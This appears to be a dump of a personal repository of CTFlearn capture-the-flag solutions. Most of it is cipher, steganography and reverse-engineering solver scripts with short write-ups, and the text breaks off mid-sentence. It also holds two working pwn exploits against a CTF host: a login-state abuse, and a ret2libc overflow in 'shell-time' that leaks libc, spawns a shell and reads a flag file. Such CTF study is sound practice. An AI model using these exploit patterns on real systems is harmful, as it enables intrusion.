"Helloworld.h" 5 | 6 | JNIEXPORT void JNICALL Java_Helloworld_print 7 | (JNIEnv* env, jclass cls, jstring msg) 8 | { 9 | printf("%s\n", "fakelib"); 10 | const char* str = (*env)->GetStringUTFChars(env, msg, 0); 11 | printf("%s\n", str); 12 | if (str) 13 | (*env)->ReleaseStringUTFChars(env, msg, str); 14 | fflush(stdout); 15 | 16 | jcharArray buf = (*env)->NewCharArray(env, 4); 17 | jchar arr[4] = {'f','l','a','g'}; 18 | (*env)->SetCharArrayRegion(env, buf, 0, 4, arr); 19 | 20 | jclass cla = (*env)->GetObjectClass(env, msg); 21 | jfieldID id = (*env)->GetFieldID(env, cla, "value", "[C"); 22 | (*env)->SetObjectField(env, msg, id, buf); 23 | } 24 | -------------------------------------------------------------------------------- /ctflearn/linear-feedback-shift-register/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def msb(num, pos): 4 | ret = (num & (1 << pos[0])) >> pos[0] 5 | 6 | for p in pos[1:]: 7 | ret ^= (num & (1 << p)) >> p 8 | return ret 9 | 10 | def get_next(last, pos): 11 | m = msb(last, pos) 12 | return (m << 7)|(last >> 1) 13 | 14 | def decode(): 15 | msb_pos = [6,5,3,2,0] 16 | last = 0 17 | last = prefix[-1] ^ cipher[len(prefix)-1] 18 | 19 | output='' 20 | for i in range(len(prefix), len(cipher)): 21 | last = get_next(last, msb_pos) 22 | output += chr(cipher[i] ^ last) 23 | 24 | print(prefix+output.encode()) 25 | 26 | cipher = open('secretMessage.hex', 'rb').read() 27 | prefix = b"CTFlearn{" 28 | 29 | decode() 30 | -------------------------------------------------------------------------------- /ctflearn/linear-feedback-shift-register/secretMessage.hex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onealmond/hacking-lab/631e615944add02db3c2afef47bf1de7171eb065/ctflearn/linear-feedback-shift-register/secretMessage.hex -------------------------------------------------------------------------------- /ctflearn/mountain-man/mountain-man.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import string 3 | 4 | data = open('MountainMan.jpg', 'rb').read() 5 | 6 | i = 0 7 | begin = 0 8 | end = 0 9 | while True: 10 | i = data.find(b'\xff\xd9', i) 11 | if i == -1: break 12 | print(i, data[i-4:i+4]) 13 | if begin == 0: 14 | begin = i + 2 15 | elif end == 0: 16 | end = i 17 | i = i + 2 18 | 19 | gap = data[begin:end] 20 | print(begin, end, len(gap)) 21 | for i in range(256): 22 | s = '' 23 | for a in gap: 24 | c = a ^ i 25 | if c > 0 and c < 255 and chr(c) in string.printable: 26 | s += chr(c) 27 | continue 28 | s = '' 29 | break 30 | if s: print(i, s) 31 | 32 | -------------------------------------------------------------------------------- /ctflearn/mr-bin/conv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | data = open('bin', 'rb').read() 3 | 4 | w = 600 5 | 6 | with open('600x600_picture', 'wb') as fd: 7 | for i in range(0, len(data), w): 8 | if data[i] == 0x10: break 9 | if b'1' in data[i:i+w]: 10 | fd.write(data[i+200:i+364]) 11 | fd.write(b'\n') 12 | -------------------------------------------------------------------------------- /ctflearn/mr-bin/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | *binwalk* extracted two files from image.jpg, *bin*, which was empty and D0F0.zip. 3 | 4 | Decompressed *D0F0.zip* with *7z*, it asked for password. Revisited *image.jpg* and found password *mr_b1n*. 5 | 6 | ```bash 7 | $ vim image.jpg 8 | ...pass:<89>mr_b1n... 9 | ``` 10 | 11 | After decompression, *bin* file contained 360001 bytes. According to hint from image.jpg, *bin* is a 600x600 ascii picture. 12 | 13 | ```bash 14 | $ strings image.jpg |head 15 | JFIF 16 | NjAweDYwMF9waWN0dXJl 17 | QA%C 18 | (%-B 19 | B)X 20 | k&v+ 21 | !`BB 22 | %d @) 23 | KBABXX0 24 | L^W*Pd 25 | $ base64 -d <<< NjAweDYwMF9waWN0dXJl 26 | 600x600_picture 27 | ``` 28 | 29 | The line was too long to read even reshaped it to matrix of 600x600. Trimed additional 0s from top, bottom, left and right, read it vertically the flag was *CTFlearn{y0u_n4i13d_it}* 30 | -------------------------------------------------------------------------------- /ctflearn/poor-login/exploit.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | host = "thekidofarcrania.com" 4 | port = 13226 5 | target = "./pwn-login/login" 6 | 7 | 8 | class Menu: 9 | 10 | def __init__(self, remote): 11 | if remote: 12 | self.pr = pwn.connect(host, port) 13 | else: 14 | self.pr = pwn.process(target) 15 | 16 | def login(self, name): 17 | self.pr.sendlineafter("> ", "1") 18 | self.pr.sendlineafter("Username: ", name) 19 | 20 | def sign_out(self): 21 | self.pr.sendlineafter("> ", "2") 22 | 23 | def print_flag(self, flag): 24 | self.pr.sendlineafter("> ", "3") 25 | line = self.pr.readline() 26 | if line.startswith(b"You are not admin."): 27 | self.pr.sendline(flag) 28 | else: 29 | print(line) 30 | print(self.pr.readline()) 31 | 32 | def lock_user(self): 33 | self.pr.sendlineafter("> ", "4") 34 | 35 | def restore_user(self): 36 | self.pr.sendlineafter("> ", "5") 37 | 38 | 39 | def exploit(remote): 40 | 41 | menu = Menu(remote) 42 | 43 | try: 44 | menu.login('A'*31) 45 | menu.lock_user() 46 | menu.sign_out() 47 | menu.print_flag(b'\x01'*40) 48 | menu.restore_user() 49 | menu.print_flag("") 50 | except Exception as ex: 51 | print(ex) 52 | finally: 53 | menu.pr.close() 54 | 55 | exploit(True) 56 | -------------------------------------------------------------------------------- /ctflearn/programming-a-language/programming-a-language.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | s = "++++++++++++++++++++++++++++++++++++++++++++++++.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++.----------->@>>.<@<<<.@<@<@<++++<.<@<@<<@<-----.<<<<<.<@<@<+<.+>@.-------.-------->>>.<@<@<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++>>>.<@<@<<.-----------<.>@>@<@><<.>@>@++++<.>@-----.>>>.<@<@<+<.>@+.-------.--------.+++++++++++++>>>>>>.<@<@<@<@<@<<.>@++.-------<.>@+++++++<<<.>@>@>@<<.>@>@<.>@-<.>@++++++++++++<<<.>@>@>@+++++++++++€" 4 | 5 | values = [0] 6 | 7 | for a in s: 8 | if a == '+': 9 | values[-1] += 1 10 | elif a == '-': 11 | values[-1] -= 1 12 | elif a == '<': 13 | x = [values[-1]] 14 | x.extend(values[:-1]) 15 | values = x 16 | elif a == '@': 17 | values[-1], values[-2] = values[-2], values[-1] 18 | elif a == '>': 19 | values.append(values[0]) 20 | values = values[1:] 21 | elif a == '.': 22 | values.append(values[-1]) 23 | else: # a == '€': 24 | print(''.join(map(chr, values))) 25 | -------------------------------------------------------------------------------- /ctflearn/py-dis/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def func2(c1, c2): 4 | return c1^c2 5 | 6 | def func(): 7 | fp = open('flag.txt').read() 8 | cipher = '' 9 | 10 | for i in range(len(fp)): 11 | temp = func2(ord(fp[i]), 170) 12 | cipher = cipher + chr(func2(temp, i)) 13 | 14 | print(cipher) 15 | f = open('encrypted_flag.txt', 'w') 16 | f.write(cipher) 17 | 18 | output = 'éÿîÅËÎÞÃÙóÙÕÎÈÊúèÞÎÜÌÌÕÓÕìùÂéçÆÐþÿñÖËîÿôÿ' 19 | decoded = [] 20 | for i in range(len(output)): 21 | a = ord(output[i])^i 22 | a = a^170 23 | decoded.append(a) 24 | 25 | print(decoded) 26 | print(''.join(map(chr, decoded))) 27 | -------------------------------------------------------------------------------- /ctflearn/py-dis/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | The given file ``dis.txt`` is output of Python module ``dis``, simply walkthrough the operations we can recover the Python code. 3 | 4 | ```python 5 | def func(): 6 | fp = open('flag.txt').read() 7 | cipher = '' 8 | 9 | for i in range(len(fp)): 10 | temp = func2(ord(fp[i]), 170) 11 | cipher = cipher + chr(func2(temp, i)) 12 | 13 | print(cipher) 14 | f = open('encrypted_flag.txt', 'w') 15 | f.write(cipher) 16 | ``` 17 | 18 | The output is also given, we can reverse the operations to find out the flag. 19 | 20 | ```python 21 | output = 'éÿîÅËÎÞÃÙóÙÕÎÈÊúèÞÎÜÌÌÕÓÕìùÂéçÆÐþÿñÖËîÿôÿ' 22 | decoded = [] 23 | for i in range(len(output)): 24 | a = ord(output[i])^i 25 | a = a^170 26 | decoded.append(a) 27 | 28 | print(decoded) 29 | print(''.join(map(chr, decoded))) 30 | ``` 31 | -------------------------------------------------------------------------------- /ctflearn/ramada/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import string 4 | data = [0]*21 5 | 6 | data[0] = 0x13693 7 | data[1] = 0x6b2c0 8 | data[2] = 0x11a9f9 9 | data[3] = 0x157000 10 | data[4] = 0x1cb91 11 | data[5] = 0x1bb528 12 | data[6] = 0x1bb528 13 | data[7] = 0xded21 14 | data[8] = 0x144f38 15 | data[9] = 0xfb89d 16 | data[10] = 0x169b48 17 | data[11] = 0xd151f 18 | data[12] = 0x8b98b 19 | data[13] = 0x17d140 20 | data[14] = 0xded21 21 | data[15] = 0x1338c0 22 | data[16] = 0x1338c0 23 | data[17] = 0x11a9f9 24 | data[18] = 0x1b000 25 | data[19] = 0x144f38 26 | data[20] = 0x1734eb 27 | 28 | flag = "CTFlearn{" 29 | 30 | candidates = string.ascii_uppercase+string.ascii_lowercase+string.digits+'+'+'_'+'-' 31 | 32 | for i in range(len(data)): 33 | for j in candidates: 34 | if pow(ord(j),3) == data[i]: 35 | flag += j 36 | break 37 | 38 | print(flag+'}') 39 | -------------------------------------------------------------------------------- /ctflearn/raspberry/exploit.py: -------------------------------------------------------------------------------- 1 | import string 2 | from subprocess import PIPE, Popen 3 | 4 | flag = "CTFlearn{???????????????????????" 5 | candidates = string.ascii_uppercase+string.ascii_lowercase+string.digits+'_'+'+'+'}' 6 | 7 | for i in range(9, len(flag)): 8 | for c in candidates: 9 | flag = flag[:i] + c + flag[i+1:] 10 | p = Popen(["./Raspberry", flag], stdout=PIPE) 11 | output = p.stdout.read() 12 | if b'Bad Character' not in output: 13 | print("found", flag) 14 | break 15 | 16 | begin = output.find(b'kcbowhunter')+len('kcbowhunter') 17 | end = output.find(b'Bad', begin) 18 | matchs = output[begin:end].strip().split(b'\n') 19 | 20 | if len(matchs) > i: 21 | break 22 | 23 | print('flag', flag) 24 | -------------------------------------------------------------------------------- /ctflearn/re-verse-dis/find_passwd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def bytes_to_array(dat, sz): 4 | dat = dat.split() 5 | arr = [] 6 | for i in range(0, len(dat), sz): 7 | arr.append(int(''.join(reversed(dat[i:i+sz])), 16)) 8 | return arr 9 | 10 | key = "IdontKnowWhatsGoingOn" 11 | s = "08 00 00 00 06 00 00 00 2c 00 00 00 3a 00 00 00 32 00 00 00 30 00 00 00 1c 00 00 00 5c 00 00 00 01 00 00 00 32 00 00 00 1a 00 00 00 12 00 00 00 45 00 00 00 1d 00 00 00 20 00 00 00 30 00 00 00 0d 00 00 00 1b 00 00 00 03 00 00 00 7c 00 00 00 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" 12 | s = bytes_to_array(s, 4) 13 | pw = [] 14 | 15 | for i in range(len(key)): 16 | pw.append(ord(key[i]) ^ s[i]) 17 | print(''.join(map(chr, pw))) 18 | 19 | -------------------------------------------------------------------------------- /ctflearn/read-in-color/read-in-color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from PIL import Image 3 | 4 | img = Image.open('color_img.png', 'r') 5 | img = img.convert('RGB') 6 | 7 | pixels = img.load() 8 | w, h = img.size 9 | 10 | for y in range(h): 11 | s = [] 12 | for x in range(w): 13 | if pixels[x,y] == pixels[x-1,y]:continue 14 | r, g, b = pixels[x, y] 15 | print(''.join(map(chr, [r,g,b])), end='') 16 | print() 17 | break 18 | -------------------------------------------------------------------------------- /ctflearn/recklinghausen/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def bytes_to_array(dat, sz): 4 | dat = dat.split() 5 | arr = [] 6 | for i in range(0, len(dat), sz): 7 | arr.append(int(''.join(reversed(dat[i:i+sz])), 16)) 8 | return arr 9 | 10 | msg5 = "21 7e 3d 2a 38 12 1b 1f 0c 10 05 2c 0b 16 0c 18 1b 0d 0a 0d 0e 17 1b 12 1b 21 38 1b 0d 0a 17 08 1f 12 03" 11 | msg5 = bytes_to_array(msg5, 1) 12 | 13 | def uncheck(): 14 | buf = [0]*msg5[0] 15 | 16 | if msg5[0] != 0: 17 | for i in range(msg5[0]): 18 | buf[i] = msg5[i+2] ^ msg5[1] 19 | return buf 20 | 21 | 22 | buf = uncheck() 23 | print(''.join(map(chr, buf))) 24 | -------------------------------------------------------------------------------- /ctflearn/recklinghausen/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Function ``CheckMsg`` xor the input string with ``msg5`` array, the result is supposed to be equal to ``msg[i+2]``. 3 | 4 | ```c 5 | undefined8 CheckMsg(char *param_1) 6 | 7 | { 8 | size_t sVar1; 9 | long i; 10 | 11 | sVar1 = strlen(param_1); 12 | if ((ulong)(uint)msg5[0] != sVar1) { 13 | return 0; 14 | } 15 | if (msg5[0] != 0) { 16 | i = 0; 17 | do { 18 | if (msg5[i + 2] != (byte)(param_1[i] ^ msg5[1])) { 19 | return 0; 20 | } 21 | i = i + 1; 22 | } while ((int)i < (int)(uint)msg5[0]); 23 | } 24 | return 1; 25 | } 26 | ``` 27 | 28 | So we could xor ``msg5[i]`` and ``msg5[i+2]`` to find out value at corresponding position of input string. 29 | 30 | ```python 31 | def uncheck(): 32 | buf = [0]*msg5[0] 33 | 34 | if msg5[0] != 0: 35 | for i in range(msg5[0]): 36 | buf[i] = msg5[i+2] ^ msg5[1] 37 | return buf 38 | ``` 39 | 40 | The ``msg5`` array could be obtained from ``ghidra``. 41 | 42 | ```python 43 | def bytes_to_array(dat, sz): 44 | dat = dat.split() 45 | arr = [] 46 | for i in range(0, len(dat), sz): 47 | arr.append(int(''.join(reversed(dat[i:i+sz])), 16)) 48 | return arr 49 | 50 | msg5 = "21 7e 3d 2a 38 12 1b 1f 0c 10 05 2c 0b 16 0c 18 1b 0d 0a 0d 0e 17 1b 12 1b 21 38 1b 0d 0a 17 08 1f 12 03" 51 | msg5 = bytes_to_array(msg5, 1) 52 | ``` 53 | 54 | ```bash 55 | ./Recklinghausen `python3 exploit.py` 56 | Welcome to the Recklinghausen Reversing Challenge! 57 | Compile Options: ${CMAKE_CXX_FLAGS} -O0 -fno-stack-protector -mno-sse 58 | CONGRATULATIONS!! You found the flag!! : CTFlearn{Ruhrfestspiele_Festival} 59 | All Done! 60 | ``` 61 | -------------------------------------------------------------------------------- /ctflearn/reverse-me/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | expected = [0] * 26 4 | expected[0] = ord('W') 5 | expected[1] = 0x42 6 | expected[2] = 0x4b 7 | expected[3] = 0x45 8 | expected[4] = 0xcc 9 | expected[5] = 0xbb 10 | expected[6] = 0x81 11 | expected[7] = 0xcc 12 | expected[8] = 0x71 13 | expected[9] = 0x7a 14 | expected[10] = 0x71 15 | expected[11] = 0x66 16 | expected[12] = 0xdf 17 | expected[13] = 0xbb 18 | expected[14] = 0x86 19 | expected[15] = 0xcd 20 | expected[16] = 100 21 | expected[17] = 0x6f 22 | expected[18] = 0x6e 23 | expected[19] = 0x5c 24 | expected[20] = 0xf2 25 | expected[21] = 0xad 26 | expected[22] = 0x9a 27 | expected[23] = 0xd8 28 | expected[24] = 0x7e 29 | expected[25] = 0x6f 30 | 31 | def unshuffle(param): 32 | buf = [0] * len(param) 33 | 34 | for i in range(0, len(param)-1, 2): 35 | buf[i+1] = param[i] 36 | 37 | for i in range(1, len(param), 2): 38 | buf[i-1] = param[i] 39 | 40 | return buf 41 | 42 | def decrypt(block): 43 | local_48 = [1,3,3,7, 0xde, 0xad, 0xbe, 0xef] 44 | buf = [0] * len(block) 45 | ind = 0 46 | 47 | for i in range(len(block)): 48 | buf[i] = block[i] ^ local_48[ind] 49 | ind = (ind+1)%len(local_48) 50 | return buf 51 | 52 | def backward(): 53 | buf = unshuffle(expected) 54 | buf = decrypt(buf) 55 | print(''.join(map(chr, buf))) 56 | 57 | backward() 58 | -------------------------------------------------------------------------------- /ctflearn/rotterdam/rotterdam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | prefix = 'CTFlearn{' 3 | kernel = [] 4 | 5 | s = hex(0x2a460d92f5a1f504^0x4b227ff781d59a56)[2:] 6 | param = ''.join(reversed(''.join(map(chr, [int(s[i:i+2],16) for i in range(0,len(s),2)])))) 7 | print('part1:', param) 8 | kernel.append(param) 9 | 10 | s = hex(0x15764ff46 - (0x4f7fb8ade2f2cef6&0xffffffff))[2:] 11 | param = ''.join(reversed(''.join(map(chr, [int(s[i:i+2],16) for i in range(0,len(s),2)])))) 12 | print('part2:', param) 13 | kernel.append(param) 14 | 15 | s = hex(0x4d998c32ff+0x17d4a53553)[2:] 16 | param = ''.join(reversed(''.join(map(chr, [int(s[i:i+2],16) for i in range(0,len(s),2)])))) 17 | print('part3:', param) 18 | kernel.append(param) 19 | 20 | s = hex(0x6a8754493837f7d400a77b9be//0xdeb4fa4d998c32ff)[2:] 21 | param = ''.join(reversed(''.join(map(chr, [int(s[i:i+2],16) for i in range(0,len(s),2)])))) 22 | param = 'B' + param 23 | print('part4:', param) 24 | kernel.append(param) 25 | 26 | # we need to find a divident makes 27 | # - 0x1f6ff5218c40de9c//input == 0x4f5352 28 | # - 0x1f6ff5218c40de9c%input == 0x55930dbbe 29 | # input = (0x1f6ff5218c40de9c-0x55930dbbe)/0x4f5352 30 | s = "6574743157" 31 | param = ''.join(reversed(''.join(map(chr, [int(s[i:i+2],16) for i in range(0,len(s),2)])))) 32 | print('part5:', param) 33 | kernel.append(param) 34 | 35 | print('_'.join(kernel)) 36 | -------------------------------------------------------------------------------- /ctflearn/rsa-beginner/decrypt.py: -------------------------------------------------------------------------------- 1 | # reference https://luniverse.io/cryptography-101-rsa-algorithm/?lang=ko 2 | import Cryptodome.Util.number as number 3 | 4 | e = 3 5 | c = 219878849218803628752496734037301843801487889344508611639028 6 | n = 245841236512478852752909734912575581815967630033049838269083 7 | 8 | # factorize n @ http://factordb.com/index.php?query=245841236512478852752909734912575581815967630033049838269083 9 | p = 416064700201658306196320137931 10 | q = 590872612825179551336102196593 11 | 12 | # calculate phi(n) and d 13 | phi = (q-1)*(p-1) 14 | d = number.inverse(e, phi) 15 | 16 | # plaintext: M = Cᵈ (mod n) 17 | print(number.long_to_bytes(pow(c, d, n))) 18 | -------------------------------------------------------------------------------- /ctflearn/rsa-noob/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Cryptodome.Util import number 3 | e = 1 4 | c = 9327565722767258308650643213344542404592011161659991421 5 | n = 245841236512478852752909734912575581815967630033049838269083 6 | 7 | # factorization of n from http://factordb.com 8 | p = 416064700201658306196320137931 9 | q = 590872612825179551336102196593 10 | 11 | phi = (p-1)*(q-1) 12 | d = number.inverse(e, phi) 13 | print(number.long_to_bytes(pow(c, d, n))) 14 | -------------------------------------------------------------------------------- /ctflearn/rsa-twins/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def rsa_twins(): 4 | from Cryptodome.Util import number 5 | n = 14783703403657671882600600446061886156235531325852194800287001788765221084107631153330658325830443132164971084137462046607458019775851952933254941568056899 6 | e = 65537 7 | c = 684151956678815994103733261966890872908254340972007896833477109225858676207046453897176861126186570268646592844185948487733725335274498844684380516667587 8 | 9 | # factorized n from http://factordb.com 10 | p = 121588253559534573498320028934517990374721243335397811413129137253981502291629 11 | q = 121588253559534573498320028934517990374721243335397811413129137253981502291631 12 | 13 | phi = (p-1)*(q-1) 14 | d = number.inverse(e, phi) 15 | print(number.long_to_bytes(pow(c, d, n))) 16 | 17 | rsa_twins() 18 | -------------------------------------------------------------------------------- /ctflearn/shell-time/exploit.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | host = "thekidofarcrania.com" 4 | port = 4902 5 | target = "./pwn-simple-rip/server" 6 | 7 | 8 | def create_process(remote): 9 | if remote: 10 | return pwn.remote(host, port) 11 | else: 12 | return pwn.process(targtet) 13 | 14 | def exploit(remote): 15 | pr = create_process(remote) 16 | 17 | try: 18 | elf = pwn.ELF(target, False) 19 | 20 | puts_plt = elf.plt['puts'] 21 | puts_got = elf.got['puts'] 22 | payload = b'\x90'*60 23 | payload += pwn.p32(puts_plt) 24 | payload += pwn.p32(elf.sym["main"]) 25 | payload += pwn.p32(puts_got) 26 | 27 | pr.sendlineafter("Input some text: ", payload) 28 | pr.readuntil('Return address: ') 29 | pr.readline() 30 | pr.readline() 31 | puts_addr = int.from_bytes(pr.read(4).strip().ljust(4, b'\x00'), 'little') 32 | print('puts', hex(puts_addr)) 33 | 34 | # https://libc.blukat.me/?q=puts%3A0xf7d98b40&l=libc6_2.27-3ubuntu1_i386 35 | sys_addr = puts_addr - 0x2a940 36 | binsh_addr = puts_addr + 0x11658f 37 | exit_addr = puts_addr - 227184 38 | print('sys', hex(sys_addr)) 39 | print('binsh', hex(binsh_addr)) 40 | payload = b'\x90'*60 41 | payload += pwn.p32(sys_addr) 42 | payload += pwn.p32(exit_addr) 43 | payload += pwn.p32(binsh_addr) 44 | 45 | pr.sendlineafter("Input some text: ", payload) 46 | pr.sendline("cat /flag2.txt") 47 | print(pr.readall(2).decode()) 48 | except Exception as ex: 49 | print(ex) 50 | finally: 51 | pr.close() 52 | 53 | exploit(True) 54 | -------------------------------------------------------------------------------- /ctflearn/simple-programming/count.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from collections import Counter 3 | 4 | total = 0 5 | 6 | with open('data.dat') as fd: 7 | while True: 8 | line = fd.readline() 9 | if not line: 10 | break 11 | 12 | counter = Counter() 13 | for i in line: 14 | counter[i] += 1 15 | 16 | one = counter['1'] 17 | zero = counter['0'] 18 | 19 | if one % 2 == 0 or zero % 3 == 0: 20 | total += 1 21 | 22 | print(total) 23 | 24 | 25 | -------------------------------------------------------------------------------- /ctflearn/substitution-cipher/substitution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python3 2 | 3 | mapper = {} 4 | 5 | def build_mapper(cipher, plain): 6 | for i in range(len(cipher)): 7 | mapper[cipher[i]] = plain[i] 8 | 9 | build_mapper('RTETDZTK', 'december') 10 | build_mapper('FGXTDZTK', "november") 11 | build_mapper('L', 's') 12 | build_mapper('Y', 'f') 13 | build_mapper('M', 't') 14 | build_mapper('I', 'h') 15 | build_mapper('O', 'i') 16 | build_mapper('W', 'u') 17 | build_mapper('H', 'p') 18 | build_mapper('B', 'y') 19 | build_mapper('S', 'l') 20 | build_mapper('A', 'a') 21 | build_mapper('U', 'g') 22 | build_mapper('V', 'x') 23 | build_mapper('Q', 'k') 24 | build_mapper('C', 'w') 25 | 26 | msg = open('substitution.txt').read() 27 | 28 | if True: 29 | buf = [] 30 | for i in range(len(msg)): 31 | if msg[i].isdigit() or msg[i] == ' ': 32 | buf.append(msg[i]) 33 | continue 34 | 35 | if mapper.get(msg[i], None): 36 | buf.append(mapper[msg[i]]) 37 | else: 38 | buf.append(msg[i]) 39 | 40 | if buf and ord(buf[0]) >= ord('A'): 41 | print('[', ''.join(buf), ']') 42 | -------------------------------------------------------------------------------- /ctflearn/the-credit-card-fraudster/recover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # The Luhn algorithm https://www.geeksforgeeks.org/luhn-algorithm/ 3 | 4 | s = "543210******1234" 5 | 6 | def luhn(s): 7 | ret = 0 8 | for i in range(len(s)-2, -1, -2): 9 | a = int(s[i]) * 2 10 | if a > 9: 11 | a = a//10 + a%10 12 | ret += a 13 | 14 | ret += sum([int(s[i]) for i in range(len(s)-1, -1, -2)]) 15 | return ret 16 | 17 | for i in range(0, 999999): 18 | t = s[:6] + str(i).rjust(6, '0') + s[-4:] 19 | if luhn(t) % 10 == 0 and \ 20 | int(t) % 123457 == 0: 21 | print(t) 22 | -------------------------------------------------------------------------------- /ctflearn/the-keymaker/the-keymaker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | from Crypto.Cipher import AES 4 | 5 | def find_iv(): 6 | begin = data.find(b'\xFF\xC0') 7 | iv_len = 16 8 | # skip marker and length 9 | end = begin + 4 + iv_len 10 | SOF0 = data[begin+4:end] 11 | return SOF0 12 | 13 | def find_key(): 14 | begin = data.find(b'\xFF\xDA') 15 | key_len = 32 16 | # skip marker 17 | end = begin + 2 + key_len 18 | SOS = data[begin+2:end] 19 | return SOS 20 | 21 | a = 'b3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1pdiBTT0YwIC1LIFNPUyAtaW4gZmxhZy5lbmMg' 22 | b = 'LW91dCBmbGFnIC1iYXNlNjQKCml2IGRvZXMgbm90IGluY2x1ZGUgdGhlIG1hcmtlciBvciBsZW5n' 23 | c = 'dGggb2YgU09GMAoKa2V5IGRvZXMgbm90IGluY2x1ZGUgdGhlIFMwUyBtYXJrZXIKCg==' 24 | d = b'mmtaSHhAsK9pLMepyFDl37UTXQT0CMltZk7+4Kaa1svo5vqb6JuczUqQGFJYiycY.' 25 | 26 | hint = base64.b64decode(a+b+c) 27 | print('hint', hint) 28 | cipher = base64.b64decode(d) 29 | print('cipher', cipher) 30 | 31 | data = open('The-Keymaker.jpg', 'rb').read() 32 | 33 | key = find_key() 34 | print('key', key.hex(), len(key)) 35 | iv = find_iv() 36 | print('iv', iv.hex(), len(iv)) 37 | 38 | aes = AES.new(key, mode=AES.MODE_CBC, IV=iv) 39 | dec = aes.decrypt(cipher) 40 | print('flag', dec) 41 | -------------------------------------------------------------------------------- /ctflearn/the-simpsons/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def the_simpsons(): 4 | encoded = "152 162 152 145 162 167 150 172 153 162 145 170 141 162" 5 | cipher = list(map(lambda x: int(x, 8), encoded.split())) 6 | key = "110 157 167 040 155 165 143 150 040 144 151 144 040 115 141 147 147 151 145 040 157 162 151 147 151 156 141 154 154 171 040 143 157 163 164 077 040 050 104 151 166 151 144 145 144 040 142 171 040 070 054 040 164 157 040 164 150 145 040 156 145 141 162 145 163 164 040 151 156 164 145 147 145 162 054 040 141 156 144 040 164 150 145 156 040 160 154 165 163 040 146 157 165 162 051" 7 | key = list(map(lambda x: chr(int(x, 8)), key.split())) 8 | print(''.join(key)) 9 | 10 | key = round(847.63/8)+4 11 | key = chr(key) 12 | key = key + key + chr(ord(key)-4) 13 | print("CTFlearn{", end='') 14 | for i in range(len(cipher)): 15 | a = chr(ord('a')+(cipher[i]-ord(key[i % len(key)])+26) % 26) 16 | print(a, end='') 17 | print("}") 18 | 19 | the_simpsons() 20 | -------------------------------------------------------------------------------- /ctflearn/time-to-eat/exploit.py: -------------------------------------------------------------------------------- 1 | import string 2 | 3 | ans = "E10a23t9090t9ae0140" 4 | 5 | def exploit(s1): 6 | e1 = 0 7 | e2 = 0 8 | e3 = 0 9 | s2 = "Eat9___" 10 | 11 | while e1 < len(s1) and e2 < len(s2): 12 | if e3 % 3 == 2//4: 13 | s2 = s2[:e2] + ans[e3] + s2[e2+1:] 14 | e2 += 1 15 | else: 16 | s1 = s1[:e1] + ans[e3] + s1[e1+1:] 17 | e1 += 1 18 | e3 += 1 19 | 20 | return s1, s2 21 | 22 | s1, s2 = exploit("----_________") 23 | if s1[4:7] == s2[-3:]: 24 | print("Case1:", str(int(s1[:4])//3) + s1[4:len(s1)-4+1][::-1]) 25 | 26 | s1, s2 = exploit("---_________") 27 | if s1[3:6] == s2[-3:]: 28 | print("Case2:", str(int(s1[:3])//3) + s1[3:len(s1)-3+1][::-1]) 29 | 30 | -------------------------------------------------------------------------------- /ctflearn/tony-stark's-message/decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pickle, base64 3 | 4 | class Node(): 5 | 6 | def __init__(self): 7 | print('fake node to bypass attribute-not-found error in pickle.load') 8 | 9 | def decode(node, data): 10 | flag = '' 11 | cur = node 12 | 13 | for i in range(len(data)): 14 | if not cur.left and not cur.right: 15 | flag += cur.data 16 | cur = node 17 | 18 | if data[i] == '0': 19 | cur = cur.left 20 | else: 21 | cur = cur.right 22 | 23 | if not cur.left and not cur.right: 24 | flag += cur.data 25 | 26 | return flag 27 | 28 | if __name__ == '__main__': 29 | 30 | encoded_data = '110110101000111001001100011010000100101011110101100110100011001110100100011001110000100011101000001001010111011010111110001101101001000001011010110011011001110010111010011010110011001010111011011011010000001110100100001011111101010011001000011000001111110100001011111000100001101011101011110010000101111001111101001010010001001110100100000101110101001111101100011101110001111101111010101111101000010011000111110010110111111000010011111111001111111011011010000100111100111010111011100011011111100010100011110101010011111110011110100110101100010101111011111110110100010101000110110111001000011011111101110101001111110111001001100011101111011100100101010010001100001110101000011000010001110100001001011110101011101011111110000010011000000' 31 | 32 | node = pickle.load(open('node_data.txt', 'rb')) 33 | 34 | flag = decode(node, encoded_data) 35 | print('huffman decoded:', flag) 36 | print('flag:', base64.b64decode(flag).decode()) 37 | -------------------------------------------------------------------------------- /ctflearn/tony-stark's-message/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Key information: 3 | 4 | - Lossless compression based on frequency => Huffman Encoding 5 | - Node data is pickled 6 | 7 | In ``info.txt`` there is an encoded message and a url to ``node_data.txt``. We need to unpickle node data to rebuild huffman tree, address from the root to decode the 